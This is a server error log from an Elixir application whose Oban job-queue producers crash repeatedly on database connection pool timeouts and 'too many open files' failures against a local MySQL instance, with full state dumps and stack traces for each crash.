State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:44:15.239500Z], limit: 10, uuid: "7d370b1e-ba02-4dad-b710-2ac35055857e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:15.239505Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67473>, refresh_timer: #Reference<0.2525715032.1099431938.67460>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:44:15.239380Z], limit: 3, uuid: "0f4dbbbb-57fa-4d25-aae2-641179e60850", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:15.239401Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67474>, refresh_timer: #Reference<0.2525715032.1099431938.67457>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:44:15.239671Z], limit: 5, uuid: "116748ba-88b8-4c1b-a345-274c22850bee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:15.239676Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.51381>, refresh_timer: #Reference<0.2525715032.1077673987.51324>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:28.348000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:32.738000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:33.608000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:34.682000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:35.149000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:37.551000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:37.925000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:38.129000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:44:28.239258Z], limit: 20, uuid: "455095cb-105e-463e-8ea6-e8df49026fd9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:28.239263Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.218592>, refresh_timer: #Reference<0.2525715032.1077673987.51699>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:44:28.238813Z], limit: 50, uuid: "e408a2ab-92a5-4b78-b11a-ac47b52ea1cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:28.238819Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.218595>, refresh_timer: #Reference<0.2525715032.1068498948.75385>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:44:28.239546Z], limit: 5, uuid: "2cd27b9e-736b-417a-accf-297bd22a421f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:28.239552Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.218594>, refresh_timer: #Reference<0.2525715032.1077673987.51709>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:44:28.240081Z], limit: 3, uuid: "de499d40-6deb-4b8d-b20e-f59104efb79d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:28.240086Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.218596>, refresh_timer: #Reference<0.2525715032.1068498948.75407>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:44:28.239565Z], limit: 10, uuid: "921dabed-8337-42ef-956d-dcad3f35dd73", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:28.239570Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.218593>, refresh_timer: #Reference<0.2525715032.1077673987.51711>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:44:28.240236Z], limit: 5, uuid: "4a1f4e7c-0128-4ad5-9a73-35bbc1ea5456", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:28.240242Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.218591>, refresh_timer: #Reference<0.2525715032.1121189889.218587>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:42.493000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:42.895000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:48.090000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:48.547000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:51.920000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
